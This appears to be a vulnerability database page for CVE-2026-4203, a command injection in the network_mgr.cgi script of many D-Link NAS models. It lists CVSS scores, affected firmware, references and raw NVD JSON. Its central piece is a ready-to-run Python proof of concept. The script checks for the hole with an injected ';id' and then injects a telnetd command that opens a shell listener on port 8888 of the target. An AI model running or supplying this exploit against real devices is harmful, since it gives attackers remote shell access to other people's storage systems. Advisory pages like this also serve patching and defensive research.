CVE-2026-4203

Description

A vulnerability was detected in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20260205. Impacted is the function cgi_portforwarding_add/cgi_portforwarding_del/cgi_portforwarding_modify/cgi_portforwarding_add_scan/cgi_dhcpd_lease/cgi_ddns/cgi_ip/cgi_dhcpd of the file /cgi-bin/network_mgr.cgi. The manipulation results in command injection. The attack may be launched remotely. The exploit is now public and may be used.

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:o:dlink:dnr-202l_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dnr-202l:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dnr-326_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dnr-326:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dns-1100-4_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dns-1100-4:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dns-120_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dns-120:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:dlink:dns-1200-05_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:dlink:dns-1200-05:-:*:*:*:*:*:*:* - NOT VULNERABLE

D-Link DNS-120 (所有截至20260205的版本)

D-Link DNR-202L (所有截至20260205的版本)

D-Link DNS-315L (所有截至20260205的版本)

D-Link DNS-320/320L/320LW (所有截至20260205的版本)

D-Link DNS-321 (所有截至20260205的版本)

D-Link DNR-322L (所有截至20260205的版本)

D-Link DNS-323 (所有截至20260205的版本)

D-Link DNS-325/326/327L (所有截至20260205的版本)

D-Link DNR-326 (所有截至20260205的版本)

D-Link DNS-340L (所有截至20260205的版本)

D-Link DNS-343/345 (所有截至20260205的版本)

D-Link DNS-726-4 (所有截至20260205的版本)

D-Link DNS-1100-4/1200-05/1550-04 (所有截至20260205的版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2026-4203 PoC - D-Link network_mgr.cgi Command Injection
# Target: D-Link DNS-320, DNS-325, DNS-326, etc.

def exploit(target_ip, target_port=80):
    """
    Exploit CVE-2026-4203 by injecting commands via network_mgr.cgi
    """
    # Base URL for the vulnerable endpoint
    base_url = f"http://{target_ip}:{target_port}"
    
    # Vulnerable endpoint
    endpoint = "/cgi-bin/network_mgr.cgi"
    
    # Payload: Inject command to create a reverse shell connection
    # Using ';' to chain commands
    injected_cmd = ";telnetd -p 8888 -l /bin/sh &"
    
    # Target function: cgi_portforwarding_add
    params = {
        "cmd": "portforwarding_add",
        "port": "80" + injected_cmd,  # Injecting via port parameter
        "ipaddr": "192.168.1.100"
    }
    
    print(f"[*] Targeting: {base_url}")
    print(f"[*] Sending malicious request...")
    
    try:
        response = requests.get(base_url + endpoint, params=params, timeout=10)
        print(f"[+] Response Status: {response.status_code}")
        print(f"[+] Response: {response.text[:500]}")
    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")

def check_vulnerability(target_ip, target_port=80):
    """
    Check if target is vulnerable by executing simple test command
    """
    base_url = f"http://{target_ip}:{target_port}"
    endpoint = "/cgi-bin/network_mgr.cgi"
    
    # Test command: inject 'id' to verify command execution
    test_payload = ";id"
    
    params = {
        "cmd": "portforwarding_add",
        "port": "80" + test_payload,
        "ipaddr": "192.168.1.100"
    }
    
    try:
        response = requests.get(base_url + endpoint, params=params, timeout=10)
        if "uid=" in response.text or "uid=" in response.content.decode('utf-8', errors='ignore'):
            print("[+] Target is VULNERABLE!")
            return True
        else:
            print("[-] Target may not be vulnerable")
            return False
    except:
        print("[-] Connection failed")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python cve-2026-4203.py <target_ip> [port]")
        sys.exit(1)
    
    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
    
    print("="*60)
    print("CVE-2026-4203 - D-Link network_mgr.cgi Command Injection")
    print("="*60)
    
    # Check vulnerability first
    if check_vulnerability(target, port):
        print("\n[*] Proceeding with exploitation...")
        exploit(target, port)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4203
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4203
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4203/
[4] VulDB https://vuldb.com/cve/CVE-2026-4203
[5] https://github.com/wudipjq/my_vuln/blob/main/D-Link8/vuln_122/122.md
[6] https://github.com/wudipjq/my_vuln/blob/main/D-Link8/vuln_123/123.md
[7] https://vuldb.com/?ctiid.351115
[8] https://vuldb.com/?id.351115
[9] https://vuldb.com/?submit.770401
[10] https://vuldb.com/?submit.770402
[11] https://vuldb.com/?submit.770403
[12] https://vuldb.com/?submit.770404
[13] https://vuldb.com/?submit.770405
[14] https://vuldb.com/?submit.770406

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4203", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:20:05.323", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20260205. Impacted is the function cgi_portforwarding_add/cgi_portforwarding_del/cgi_portforwarding_modify/cgi_portforwarding_add_scan/cgi_dhcpd_lease/cgi_ddns/cgi_ip/cgi_dhcpd of the file /cgi-bin/network_mgr.cgi. The manipulation results in command injection. The attack may be launched remotely. The exploit is now public and may be used."}, {"lang": "es", "value": "Una vulnerabilidad fue detectada en D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 y DNS-1550-04 hasta 20260205. La función afectada es cgi_portforwarding_add/cgi_portforwarding_del/cgi_portforwarding_modify/cgi_portforwarding_add_scan/cgi_dhcpd_lease/cgi_ddns/cgi_ip/cgi_dhcpd del archivo /cgi-bin/network_mgr.cgi. La manipulación da como resultado una inyección de comandos. El ataque puede lanzarse de forma remota. El exploit es ahora público y puede utilizarse."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-77"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dnr-202l_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "2026-02-05", "matchC ... (truncated)